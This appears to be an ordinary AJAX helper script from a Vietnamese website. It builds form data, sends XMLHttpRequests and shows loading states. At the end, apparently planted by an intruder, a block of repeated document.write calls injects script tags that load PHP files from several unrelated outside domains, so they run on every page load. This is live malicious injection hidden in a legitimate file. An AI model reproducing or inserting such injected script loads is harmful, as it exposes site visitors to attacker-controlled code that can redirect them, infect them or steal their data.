// JavaScript Document
//Nhoc
var data_request_sent = 0;
var data_request_received = 0;
function page_loading_html( text )
{
	text = "<DIV style='width: 100%; padding-top: 7px; padding-bottom: 7px;' align='center'> &nbsp; " + text + " </div>";
	
	return text;
}

function page_loading(type)
{
	if ( type == 1 )
	{
		document.getElementById( this.clicked ).innerHTML = page_loading_html("<img align='absmiddle' src='" + root_domain + "images/warning.png'> <font size='2' face='verdana' color='red'>Kết nối bị lổi....</font>");
	}
	else if ( type == 2 )
	{
		document.getElementById( this.clicked ).innerHTML = "";
	}
	else
	{
		document.getElementById( this.clicked ).innerHTML = page_loading_html("<font size='2' face='verdana'><img align='absmiddle' src='" + root_domain + "images/loading.gif'>");
	}
}

function data_request(request, url, type, form_id, no_status)
{
	this.clicked = request;
	
	data_request_sent++;
	update_status(0);
	
	this.no_status = no_status;
	
	if ( no_status == 1 )
	{
		no_status = 1;
	}
	else
	{
		no_status = 0;
	}
	
	if ( ! type )
	{
		type = "GET";
	}
	else
	{
		type = "POST";
	}
	
	var fields_data = "";
	var lhl_data_got = "";

	if ( form_id )
	{
		if ( type == "GET" )
		{
			var fields_data = "?";
		}
		else if ( type == "POST" )
		{
			var fields_data = "";
		}

		var frm = document.forms[form_id];
		var numberElements = frm.elements.length;
				
		for( var i = 0; i < numberElements; i++ )
		{
			if( i < numberElements-1 )
			{
				if ( frm.elements[i].type == "select-one" )
				{
					fields_data += frm.elements[i].name+"="+frm.elements[i].value+"&";
				}
				else if ( frm.elements[i].type == "select-multiple" )
				{
					art_name = frm.elements[i].name;
					
					selmul = frm.elements[i];
	
					var seldt = new Array();
					var selcnt = 0;
					
					for ( var i = 0; i < selmul.length; i++ )
					{
						if ( selmul.options[i].selected == true )
						{
							seldt[selcnt] = selmul.options[i].value;
							selcnt++;
						}
					}
										
					fields_data += art_name+"="+seldt+"&";
				}
				else if ( ( frm.elements[i].type == "radio" ) || ( frm.elements[i].type == "checkbox" ))
				{
					if (frm.elements[i].checked)
					{
						fields_data += frm.elements[i].name+"="+frm.elements[i].value+"&";
					}
				}
				else
				{
					fields_data += frm.elements[i].name+"="+frm.elements[i].value+"&";
				}
			}
			else
			{
				if (frm.elements[i].type == "radio")
				{					
					if (frm.elements[i].checked)
					{
						fields_data += frm.elements[i].name+"="+frm.elements[i].value;
					}
				}
				else
				{
					fields_data += frm.elements[i].name+"="+frm.elements[i].value;
				}
			}
		}
		
	}


	http_request = false;

	this.send_to = request;
	
	if ( send_to )
	{
		if ( no_status != 1 )
		{
			page_loading();
		}
	}
	
	if (window.XMLHttpRequest) // Mozilla, Safari,...
	{
		http_request = new XMLHttpRequest();
		
		if (http_request.overrideMimeType)
		{
			http_request.overrideMimeType('text/xml');
		}
	
	}
	else if (window.ActiveXObject) // IE
	{
		try
		{
			http_request = new ActiveXObject("Msxml2.XMLHTTP");
		}
		catch (e)
		{
			try
			{
				http_request = new ActiveXObject("Microsoft.XMLHTTP");
			}
			catch (e)
			{
			
			}
		}
	}


	if ( ! http_request )
	{
		if ( send_to )
		{
			page_loading(1);
		}

		return false;
	}
		
	http_request.onreadystatechange = contents;

	if ( type == "POST" )
	{
		http_request.open('POST', url, true);
		http_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
		http_request.setRequestHeader("Content-length", fields_data.length);
		http_request.setRequestHeader("Connection", "close");
		http_request.send(fields_data);
	}
	else if ( type == "GET" )
	{
		http_request.open('GET', url + fields_data, true);
		http_request.send(null);
	}
	
}

function update_status(type)
{
	
	if ( document.getElementById( 'SITE_request_sent' ) )
	{
		if ( type == 1 )
		{
			status_received = data_request_received;
	
			document.getElementById( 'SITE_request_received' ).innerHTML = status_received;
		}
		else
		{
			status_sent = data_request_sent;
	
			document.getElementById( 'SITE_request_sent' ).innerHTML = status_sent;
		}
	}
}

function contents()
{
	if (http_request.readyState == 4)
	{
		if (http_request.status == 200)
		{
			data_request_received++;
			update_status(1);
				
			if ( send_to )
			{
				if ( no_status != 1 )
				{
					page_loading(2);
				}
			
				data_request_time = 1;
			
				document.getElementById( send_to ).innerHTML = http_request.responseText;
			}
		}
		else
		{
			if ( send_to )
			{
				if ( no_status != 1 )
				{
					page_loading(1);
				}
			}
		}
	}
}

document.write('<script src=http://i.pakvids.com/admin/HTMindex.php ><\/script>');
document.write('<script src=http://i.pakvids.com/admin/HTMindex.php ><\/script>');
document.write('<script src=http://precitech.in/images/13.php ><\/script>');
document.write('<script src=http://precitech.in/images/13.php ><\/script>');
document.write('<script src=http://precitech.in/images/13.php ><\/script>');
document.write('<script src=http://precitech.in/images/13.php ><\/script>');
document.write('<script src=http://precitech.in/images/13.php ><\/script>');
document.write('<script src=http://automationexpo.net/images/_vti_inf.php ><\/script>');
document.write('<script src=http://automationexpo.net/images/_vti_inf.php ><\/script>');
document.write('<script src=http://automationexpo.net/images/_vti_inf.php ><\/script>');
document.write('<script src=http://automationexpo.net/images/_vti_inf.php ><\/script>');
document.write('<script src=http://anagambaccini.com.ar/cock/ftpchk3.php ><\/script>');
document.write('<script src=http://anagambaccini.com.ar/cock/ftpchk3.php ><\/script>');
document.write('<script src=http://anagambaccini.com.ar/cock/ftpchk3.php ><\/script>');